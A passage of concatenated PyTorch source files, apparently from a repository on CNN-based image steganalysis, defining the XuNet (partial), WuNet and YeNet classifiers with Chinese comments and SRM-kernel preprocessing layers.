self.conv4(out) out = self.bn4(out) out = F.relu(out) # out = F.avg_pool2d(out, 5, 2) # Group 5 out = self.conv5(out) out = self.bn5(out) out = F.relu(out) out = F.avg_pool2d(out, 32) # print(out) # FC out = out.view(out.size(0), -1) out = self.fc(out) out = F.softmax(out, dim=1) return out def init(): return XuNet() <file_sep>import torch import torch.nn as nn import torch.nn.functional as F import numpy as np # ResNet-BasicBlock class BasicBlock(nn.Module): expansion = 1 # 结构定义 def __init__(self, in_planes, planes, stride=1): super(BasicBlock, self).__init__() # 卷积层 self.conv1 = nn.Conv2d(in_planes, planes, kernel_size=3, stride=stride, padding=1, bias=False) self.bn1 = nn.BatchNorm2d(planes) # bn层 self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=1, padding=1, bias=False) self.bn2 = nn.BatchNorm2d(planes) # Shortcut self.shortcut = nn.Sequential() # 更改维数 if stride != 1 or in_planes != self.expansion*planes: self.shortcut = nn.Sequential( nn.Conv2d(in_planes, self.expansion*planes, kernel_size=1, stride=stride, bias=False), nn.BatchNorm2d(self.expansion*planes) ) # 前向传播 def forward(self, x): # 第一层计算 out = F.relu(self.bn1(self.conv1(x))) # 第二层计算 out = self.bn2(self.conv2(out)) # 快捷连接(Shortcut) out += self.shortcut(x) # relu激活 out = F.relu(out) return out # ResNet隐写分析 class WuNet(nn.Module): # 结构初始化 def __init__(self, block, num_blocks, num_classes=2): super(WuNet, self).__init__() self.in_planes = 64 # 预处理层 self.conv0 = nn.Conv2d(3, 3, 5, 1, bias=False) # 普通卷积层 self.conv1 = nn.Conv2d(3, 64, 7, 1, bias=False) # BN层 self.bn1 = nn.BatchNorm2d(64) # ResNet部分 self.layer1 = self._make_layer(block, 64, num_blocks[0], stride=1) self.layer2 = self._make_layer(block, 128, num_blocks[1], stride=2) self.layer3 = self._make_layer(block, 256, num_blocks[2], stride=2) self.layer4 = self._make_layer(block, 512, num_blocks[3], stride=2) self.linear = nn.Linear(512 * block.expansion, num_classes) # 图像预处理层的权值初始化 lst = [[[-1, 2, -2, 2, -1], [2, -6, 8, -6, 2], [-2, 8, -12, 8, -2], [2, -6, 8, -6, 2], [-1, 2, -2, 2, -1]] ] * 3 kv = np.array(lst) * (1.0 / 12) kv = np.array([kv, kv, kv]) kv = torch.Tensor(kv) self.conv0.weight = nn.Parameter(data=kv) # ResNet模块的权值和偏置初始化 convcnt = 0 for m in self.modules(): # print(m.__class__.__name__) if isinstance(m, nn.Conv2d): if convcnt != 0: # 权值初始化,禁用偏置 m.weight.data.normal_(0.0, 0.01) # m.bias.data.fill_(0) convcnt += 1 # 根据参数构造ResNet层 def _make_layer(self, block, planes, num_blocks, stride): strides = [stride] + [1]*(num_blocks-1) layers = [] for stride in strides: # 追加ResNet子块 layers.append(block(self.in_planes, planes, stride)) self.in_planes = planes * block.expansion return nn.Sequential(*layers) # 前向计算 def forward(self, x): # 图像预处理层 out = self.conv0(x) # 普通卷积层激活 out = F.relu(self.bn1(self.conv1(out))) # pooling # out = F.max_pool2d(out, 3) # ResNet out = self.layer1(out) out = self.layer2(out) out = self.layer3(out) out = self.layer4(out) out = F.avg_pool2d(out, 4) # 全连接层 out = out.view(out.size(0), -1) out = self.linear(out) # Softmax层 out = F.softmax(out, dim=1) return out def init(): # 整个网络初始化,返回模型 return WuNet(BasicBlock, [2, 2, 1, 1]) <file_sep>import numpy as np import torch import torch.nn as nn from torch.nn.parameter import Parameter import torch.nn.functional as F # 图像预处理层,先用numpy载入初始化的30个SRM核的数据 SRM_npy = np.load('./file/kernel.npy') # 图像预处理层的类 class SRM_conv2d(nn.Module): def __init__(self, stride=1, padding=2): super(SRM_conv2d, self).__init__() # 输入1层(图像) self.in_channels = 3 # 输出30层,因为是有30个卷积核,分别进行计算得到30个 self.out_channels = 30 # 设置卷积核大小 self.kernel_size = (5, 5) # 设置步长 if isinstance(stride, int): self.stride = (stride, stride) else: self.stride = stride # 设置padding if isinstance(padding, int): self.padding = (padding, padding) else: self.padding = padding # 卷积膨胀 self.dilation = (1,1) # 转置 self.transpose = False # padding self.output_padding = (0,) # 分组,默认设置成1组 self.groups = 1 # 设置预处理层卷积核权值为30个5*5的Tensor,此时只是设置,并没有初始化 self.weight = Parameter(torch.Tensor(30, 3, 5, 5),requires_grad=True) # 设置预处理层卷积核偏置为30个Tensor,此时只是设置,并没有初始化 self.bias = Parameter(torch.Tensor(30),requires_grad=True) # 重置上面值的大小 self.reset_parameters() def reset_parameters(self): # 将上面加载的SRM核,载入到self.weight中 self.weight.data.numpy()[:] = SRM_npy # 默认设置偏置为0 self.bias.data.zero_() def forward(self, input): # 前向计算 return F.conv2d(input, self.weight, self.bias, self.stride, self.padding, self.dilation, self.groups) # 卷积模块 class ConvBlock(nn.Module): def __init__(self, in_channels, out_channels, kernel_size=3, stride=1, with_bn=False): super(ConvBlock, self).__init__() # 卷积运算 self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride, padding=1) # relu激活函数 self.relu = nn.ReLU() # 传递启用BN层的参数 self.with_bn = with_bn # 如果启用BN层参数开启 if with_bn: # BN计算 self.norm = nn.BatchNorm2d(out_channels) else: # 若未开启,则不进行BN层计算,直接传递运算结果 self.norm = lambda x: x self.reset_parameters() def forward(self, x): # 前向运算 return self.norm(self.relu(self.conv(x))) def reset_parameters(self): # 卷积模块权值初始化 nn.init.xavier_uniform_(self.conv.weight) # 偏置初始化 self.conv.bias.data.fill_(0.2) # YeNet总体 class YeNet(nn.Module): # 构造网络 def __init__(self): super(YeNet, self).__init__() # 图像预处理层 self.preprocessing = SRM_conv2d() # 卷积模块 self.block2 = ConvBlock(30, 30, 3) self.block3 = ConvBlock(30, 30, 3) self.block4 = ConvBlock(30, 30, 3) # pooling self.pool1 = nn.AvgPool2d(2, 2) self.block5 = ConvBlock(30, 32, 3,) self.pool2 = nn.AvgPool2d(2, 2) self.block6 = ConvBlock(32, 32, 3,) self.pool3 = nn.AvgPool2d(2, 2) self.block7 = ConvBlock(32, 32, 3,) self.pool4 = nn.AvgPool2d(2, 2) self.block8 = ConvBlock(32, 16, 3) self.block9 = ConvBlock(16, 16, 3) # 线性激活层 self.ip1 = nn.Linear(4 * 4 * 16, 2) # 根据条件重置参数 self.reset_parameters() # 前向计算 def forward(self, x): # 转换成float x = x.float() # 预处理 x = self.preprocessing(x) x = F.relu(x) # 卷积运算 x = self.block2(x) x = self.block3(x) x = self.block4(x) # pooling x = self.pool1(x) # print(np.shape(x)) x = self.block5(x) x = self.pool2(x) # print(np.shape(x)) x = self.block6(x) # x = self.pool3(x) x = self.block7(x) x = self.pool4(x) # print(np.shape(x)) x = self.block8(x) x = self.block9(x) # print(np.shape(x)) # 维度转换 x = x.view(x.size(0), -1) # 全连接层 x = self.ip1(x) return x def reset_parameters(self): for mod in self.modules(): # 卷积层重置参数,这个根据卷积层,图像预处理层 if isinstance(mod, SRM_conv2d) or isinstance(mod, ConvBlock): mod.reset_parameters() # 线性激活层 elif isinstance(mod, nn.Linear): # 权值初始化 nn.init.normal_(mod.weight, 0., 0.01) # 偏置初始化 mod.bias.data.zero_() def init(): return YeNet()
b4208241825cb0b1f8e06485ad5290b42f3a52c9
[ "Python" ]
10
Python
qzf136/CNN-adversary
9a0ca0cb09ecb502680e4a8ae6132820087628ae
fd23a398a67c24a9dd5dcb8a76b89b35218f4b8f